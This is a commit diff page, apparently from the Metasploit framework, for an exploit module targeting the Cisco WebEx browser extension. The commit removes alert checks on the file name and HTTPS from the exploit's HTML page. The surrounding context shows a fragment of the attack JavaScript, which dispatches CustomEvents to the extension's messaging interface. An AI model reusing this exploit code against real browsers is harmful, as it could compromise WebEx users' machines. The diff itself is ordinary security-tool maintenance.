Skip to content

Commit ad0e2c7

Browse files
committed
remove extraneous warning alerts
1 parent d2bc8c7 commit ad0e2c7

File tree

1 file changed

+0
-10
lines changed

1 file changed

+0
-10
lines changed

modules/exploits/windows/misc/cisco_webex_ext.rb

Lines changed: 0 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -75,16 +75,6 @@ def exploit_html(cli, req_uri)
7575
7676
function runcode()
7777
{
78-
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
79-
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
80-
return;
81-
}
82-
83-
if (!document.location.protocol.endsWith("https:")) {
84-
alert("document /must/ be served over https");
85-
return;
86-
}
87-
8878
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
8979
document.dispatchEvent(new CustomEvent("message", { detail: {
9080
message: JSON.stringify(msg),

0 commit comments

Comments
 (0)